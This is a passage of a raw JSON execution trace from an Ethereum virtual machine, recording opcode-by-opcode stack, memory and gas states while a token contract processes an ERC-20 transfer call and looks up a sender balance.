:3,"stack":["0xa9059cbb","0x11f","0x215","0x44","0x4","0x0","0x0","0x1","0x7bb"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":1979,"op":"JUMPDEST","gas":60866,"gasCost":1,"depth":3,"stack":["0xa9059cbb","0x11f","0x215","0x44","0x4","0x0","0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":1980,"op":"PUSH2","gas":60865,"gasCost":3,"depth":3,"stack":["0xa9059cbb","0x11f","0x215","0x44","0x4","0x0","0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":1983,"op":"DUP4","gas":60862,"gasCost":3,"depth":3,"stack":["0xa9059cbb","0x11f","0x215","0x44","0x4","0x0","0x0","0x7c4"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":1984,"op":"PUSH2","gas":60859,"gasCost":3,"depth":3,"stack":["0xa9059cbb","0x11f","0x215","0x44","0x4","0x0","0x0","0x7c4","0x4"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":1987,"op":"JUMP","gas":60856,"gasCost":8,"depth":3,"stack":["0xa9059cbb","0x11f","0x215","0x44","0x4","0x0","0x0","0x7c4","0x4","0x78c"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":1932,"op":"JUMPDEST","gas":60848,"gasCost":1,"depth":3,"stack":["0xa9059cbb","0x11f","0x215","0x44","0x4","0x0","0x0","0x7c4","0x4"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":1933,"op":"DUP1","gas":60847,"gasCost":3,"depth":3,"stack":["0xa9059cbb","0x11f","0x215","0x44","0x4","0x0","0x0","0x7c4","0x4"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":1934,"op":"CALLDATALOAD","gas":60844,"gasCost":3,"depth":3,"stack":["0xa9059cbb","0x11f","0x215","0x44","0x4","0x0","0x0","0x7c4","0x4","0x4"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":1935,"op":"PUSH1","gas":60841,"gasCost":3,"depth":3,"stack":["0xa9059cbb","0x11f","0x215","0x44","0x4","0x0","0x0","0x7c4","0x4","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":1937,"op":"PUSH1","gas":60838,"gasCost":3,"depth":3,"stack":["0xa9059cbb","0x11f","0x215","0x44","0x4","0x0","0x0","0x7c4","0x4","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x1"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":1939,"op":"PUSH1","gas":60835,"gasCost":3,"depth":3,"stack":["0xa9059cbb","0x11f","0x215","0x44","0x4","0x0","0x0","0x7c4","0x4","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x1","0x1"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":1941,"op":"SHL","gas":60832,"gasCost":3,"depth":3,"stack":["0xa9059cbb","0x11f","0x215","0x44","0x4","0x0","0x0","0x7c4","0x4","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x1","0x1","0xa0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":1942,"op":"SUB","gas":60829,"gasCost":3,"depth":3,"stack":["0xa9059cbb","0x11f","0x215","0x44","0x4","0x0","0x0","0x7c4","0x4","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x1","0x10000000000000000000000000000000000000000"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":1943,"op":"DUP2","gas":60826,"gasCost":3,"depth":3,"stack":["0xa9059cbb","0x11f","0x215","0x44","0x4","0x0","0x0","0x7c4","0x4","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xffffffffffffffffffffffffffffffffffffffff"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":1944,"op":"AND","gas":60823,"gasCost":3,"depth":3,"stack":["0xa9059cbb","0x11f","0x215","0x44","0x4","0x0","0x0","0x7c4","0x4","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xffffffffffffffffffffffffffffffffffffffff","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":1945,"op":"DUP2","gas":60820,"gasCost":3,"depth":3,"stack":["0xa9059cbb","0x11f","0x215","0x44","0x4","0x0","0x0","0x7c4","0x4","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":1946,"op":"EQ","gas":60817,"gasCost":3,"depth":3,"stack":["0xa9059cbb","0x11f","0x215","0x44","0x4","0x0","0x0","0x7c4","0x4","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":1947,"op":"PUSH2","gas":60814,"gasCost":3,"depth":3,"stack":["0xa9059cbb","0x11f","0x215","0x44","0x4","0x0","0x0","0x7c4","0x4","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x1"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":1950,"op":"JUMPI","gas":60811,"gasCost":10,"depth":3,"stack":["0xa9059cbb","0x11f","0x215","0x44","0x4","0x0","0x0","0x7c4","0x4","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x1","0x7a3"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":1955,"op":"JUMPDEST","gas":60801,"gasCost":1,"depth":3,"stack":["0xa9059cbb","0x11f","0x215","0x44","0x4","0x0","0x0","0x7c4","0x4","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":1956,"op":"SWAP2","gas":60800,"gasCost":3,"depth":3,"stack":["0xa9059cbb","0x11f","0x215","0x44","0x4","0x0","0x0","0x7c4","0x4","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":1957,"op":"SWAP1","gas":60797,"gasCost":3,"depth":3,"stack":["0xa9059cbb","0x11f","0x215","0x44","0x4","0x0","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x4","0x7c4"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":1958,"op":"POP","gas":60794,"gasCost":2,"depth":3,"stack":["0xa9059cbb","0x11f","0x215","0x44","0x4","0x0","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x7c4","0x4"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":1959,"op":"JUMP","gas":60792,"gasCost":8,"depth":3,"stack":["0xa9059cbb","0x11f","0x215","0x44","0x4","0x0","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x7c4"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":1988,"op":"JUMPDEST","gas":60784,"gasCost":1,"depth":3,"stack":["0xa9059cbb","0x11f","0x215","0x44","0x4","0x0","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":1989,"op":"SWAP5","gas":60783,"gasCost":3,"depth":3,"stack":["0xa9059cbb","0x11f","0x215","0x44","0x4","0x0","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":1990,"op":"PUSH1","gas":60780,"gasCost":3,"depth":3,"stack":["0xa9059cbb","0x11f","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x44","0x4","0x0","0x0","0x215"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":1992,"op":"SWAP4","gas":60777,"gasCost":3,"depth":3,"stack":["0xa9059cbb","0x11f","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x44","0x4","0x0","0x0","0x215","0x20"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":1993,"op":"SWAP1","gas":60774,"gasCost":3,"depth":3,"stack":["0xa9059cbb","0x11f","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x44","0x20","0x0","0x0","0x215","0x4"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":1994,"op":"SWAP4","gas":60771,"gasCost":3,"depth":3,"stack":["0xa9059cbb","0x11f","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x44","0x20","0x0","0x0","0x4","0x215"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":1995,"op":"ADD","gas":60768,"gasCost":3,"depth":3,"stack":["0xa9059cbb","0x11f","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x44","0x215","0x0","0x0","0x4","0x20"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":1996,"op":"CALLDATALOAD","gas":60765,"gasCost":3,"depth":3,"stack":["0xa9059cbb","0x11f","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x44","0x215","0x0","0x0","0x24"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":1997,"op":"SWAP4","gas":60762,"gasCost":3,"depth":3,"stack":["0xa9059cbb","0x11f","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x44","0x215","0x0","0x0","0x136dbf40ac09b"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":1998,"op":"POP","gas":60759,"gasCost":2,"depth":3,"stack":["0xa9059cbb","0x11f","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x136dbf40ac09b","0x215","0x0","0x0","0x44"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":1999,"op":"POP","gas":60757,"gasCost":2,"depth":3,"stack":["0xa9059cbb","0x11f","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x136dbf40ac09b","0x215","0x0","0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":2000,"op":"POP","gas":60755,"gasCost":2,"depth":3,"stack":["0xa9059cbb","0x11f","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x136dbf40ac09b","0x215","0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":2001,"op":"JUMP","gas":60753,"gasCost":8,"depth":3,"stack":["0xa9059cbb","0x11f","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x136dbf40ac09b","0x215"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":533,"op":"JUMPDEST","gas":60745,"gasCost":1,"depth":3,"stack":["0xa9059cbb","0x11f","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x136dbf40ac09b"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":534,"op":"PUSH2","gas":60744,"gasCost":3,"depth":3,"stack":["0xa9059cbb","0x11f","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x136dbf40ac09b"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":537,"op":"JUMP","gas":60741,"gasCost":8,"depth":3,"stack":["0xa9059cbb","0x11f","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x136dbf40ac09b","0x723"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":1827,"op":"JUMPDEST","gas":60733,"gasCost":1,"depth":3,"stack":["0xa9059cbb","0x11f","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x136dbf40ac09b"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":1828,"op":"PUSH1","gas":60732,"gasCost":3,"depth":3,"stack":["0xa9059cbb","0x11f","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x136dbf40ac09b"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":1830,"op":"PUSH2","gas":60729,"gasCost":3,"depth":3,"stack":["0xa9059cbb","0x11f","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x136dbf40ac09b","0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":1833,"op":"CALLER","gas":60726,"gasCost":2,"depth":3,"stack":["0xa9059cbb","0x11f","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x136dbf40ac09b","0x0","0x730"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":1834,"op":"DUP5","gas":60724,"gasCost":3,"depth":3,"stack":["0xa9059cbb","0x11f","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x136dbf40ac09b","0x0","0x730","0x1fa848857b24b9416355f4b4668a84c842116bf4"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":1835,"op":"DUP5","gas":60721,"gasCost":3,"depth":3,"stack":["0xa9059cbb","0x11f","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x136dbf40ac09b","0x0","0x730","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":1836,"op":"PUSH2","gas":60718,"gasCost":3,"depth":3,"stack":["0xa9059cbb","0x11f","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x136dbf40ac09b","0x0","0x730","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x136dbf40ac09b"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":1839,"op":"JUMP","gas":60715,"gasCost":8,"depth":3,"stack":["0xa9059cbb","0x11f","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x136dbf40ac09b","0x0","0x730","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x136dbf40ac09b","0x3af"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":943,"op":"JUMPDEST","gas":60707,"gasCost":1,"depth":3,"stack":["0xa9059cbb","0x11f","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x136dbf40ac09b","0x0","0x730","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x136dbf40ac09b"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":944,"op":"PUSH1","gas":60706,"gasCost":3,"depth":3,"stack":["0xa9059cbb","0x11f","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x136dbf40ac09b","0x0","0x730","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x136dbf40ac09b"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":946,"op":"PUSH1","gas":60703,"gasCost":3,"depth":3,"stack":["0xa9059cbb","0x11f","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x136dbf40ac09b","0x0","0x730","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x136dbf40ac09b","0x1"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":948,"op":"PUSH1","gas":60700,"gasCost":3,"depth":3,"stack":["0xa9059cbb","0x11f","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x136dbf40ac09b","0x0","0x730","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x136dbf40ac09b","0x1","0x1"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":950,"op":"SHL","gas":60697,"gasCost":3,"depth":3,"stack":["0xa9059cbb","0x11f","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x136dbf40ac09b","0x0","0x730","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x136dbf40ac09b","0x1","0x1","0xa0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":951,"op":"SUB","gas":60694,"gasCost":3,"depth":3,"stack":["0xa9059cbb","0x11f","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x136dbf40ac09b","0x0","0x730","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x136dbf40ac09b","0x1","0x10000000000000000000000000000000000000000"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":952,"op":"DUP4","gas":60691,"gasCost":3,"depth":3,"stack":["0xa9059cbb","0x11f","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x136dbf40ac09b","0x0","0x730","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x136dbf40ac09b","0xffffffffffffffffffffffffffffffffffffffff"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":953,"op":"AND","gas":60688,"gasCost":3,"depth":3,"stack":["0xa9059cbb","0x11f","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x136dbf40ac09b","0x0","0x730","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x136dbf40ac09b","0xffffffffffffffffffffffffffffffffffffffff","0x1fa848857b24b9416355f4b4668a84c842116bf4"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":954,"op":"PUSH1","gas":60685,"gasCost":3,"depth":3,"stack":["0xa9059cbb","0x11f","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x136dbf40ac09b","0x0","0x730","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x136dbf40ac09b","0x1fa848857b24b9416355f4b4668a84c842116bf4"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":956,"op":"SWAP1","gas":60682,"gasCost":3,"depth":3,"stack":["0xa9059cbb","0x11f","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x136dbf40ac09b","0x0","0x730","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x136dbf40ac09b","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":957,"op":"DUP2","gas":60679,"gasCost":3,"depth":3,"stack":["0xa9059cbb","0x11f","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x136dbf40ac09b","0x0","0x730","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x136dbf40ac09b","0x0","0x1fa848857b24b9416355f4b4668a84c842116bf4"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":958,"op":"MSTORE","gas":60676,"gasCost":3,"depth":3,"stack":["0xa9059cbb","0x11f","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x136dbf40ac09b","0x0","0x730","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x136dbf40ac09b","0x0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":959,"op":"PUSH1","gas":60673,"gasCost":3,"depth":3,"stack":["0xa9059cbb","0x11f","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x136dbf40ac09b","0x0","0x730","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x136dbf40ac09b","0x0"],"memory":["0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":961,"op":"PUSH1","gas":60670,"gasCost":3,"depth":3,"stack":["0xa9059cbb","0x11f","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x136dbf40ac09b","0x0","0x730","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x136dbf40ac09b","0x0","0x3"],"memory":["0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":963,"op":"MSTORE","gas":60667,"gasCost":3,"depth":3,"stack":["0xa9059cbb","0x11f","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x136dbf40ac09b","0x0","0x730","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x136dbf40ac09b","0x0","0x3","0x20"],"memory":["0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":964,"op":"PUSH1","gas":60664,"gasCost":3,"depth":3,"stack":["0xa9059cbb","0x11f","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x136dbf40ac09b","0x0","0x730","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x136dbf40ac09b","0x0"],"memory":["0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":966,"op":"DUP2","gas":60661,"gasCost":3,"depth":3,"stack":["0xa9059cbb","0x11f","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x136dbf40ac09b","0x0","0x730","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x136dbf40ac09b","0x0","0x40"],"memory":["0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":967,"op":"KECCAK256","gas":60658,"gasCost":42,"depth":3,"stack":["0xa9059cbb","0x11f","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x136dbf40ac09b","0x0","0x730","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x136dbf40ac09b","0x0","0x40","0x0"],"memory":["0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":968,"op":"SLOAD","gas":60616,"gasCost":2100,"depth":3,"stack":["0xa9059cbb","0x11f","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x136dbf40ac09b","0x0","0x730","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x136dbf40ac09b","0x0","0x1c9e86fdaef99c0a3e0522938c5a2734a8b16b882ab580efe422cad00b0bf398"],"memory":["0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":969,"op":"DUP3","gas":58516,"gasCost":3,"depth":3,"stack":["0xa9059cbb","0x11f","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x136dbf40ac09b","0x0","0x730","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x136dbf40ac09b","0x0","0xc50dfd48a20630e6"],"memory":["0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","00000000000000000000000000000